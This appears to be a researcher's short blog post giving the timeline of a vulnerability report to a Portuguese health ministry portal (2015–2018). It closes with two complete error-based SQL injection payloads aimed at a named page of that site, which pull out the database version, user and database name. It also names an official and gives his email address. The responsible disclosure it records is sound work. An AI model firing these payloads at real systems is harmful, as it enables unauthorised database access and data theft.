16/10/2015 – Warning email.

22/10/2015 – 1º response, they told me to wait.

02/09/2016 – 2º response, from Mr. João Paulo Figueiredo (joao.figueiredo@spms.min-saude.pt)

14/09/2016 – Report done.

14/09/2016 – They confirmed they received it, told me to wait for the thank you letter.

28/02/2018 – Thank you letter received.

.

Total time waited for the thank you letter: 2 years, 4 months and 12 days.

But it was worth it! xD

.

http://portalcodgdh.min-saude.pt/index.php?title=Hipersudorese

.

Example of injection:

http://portalcodgdh.min-saude.pt/index.php?title=Hipersudorese ‘ or 1 group by concat_ws(0x7e,version(),user(),database(),floor(rand(0)*2)) having min(0) or 1--+

.

Example nº 2:

http://portalcodgdh.min-saude.pt/index.php?title=Hipersudorese' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+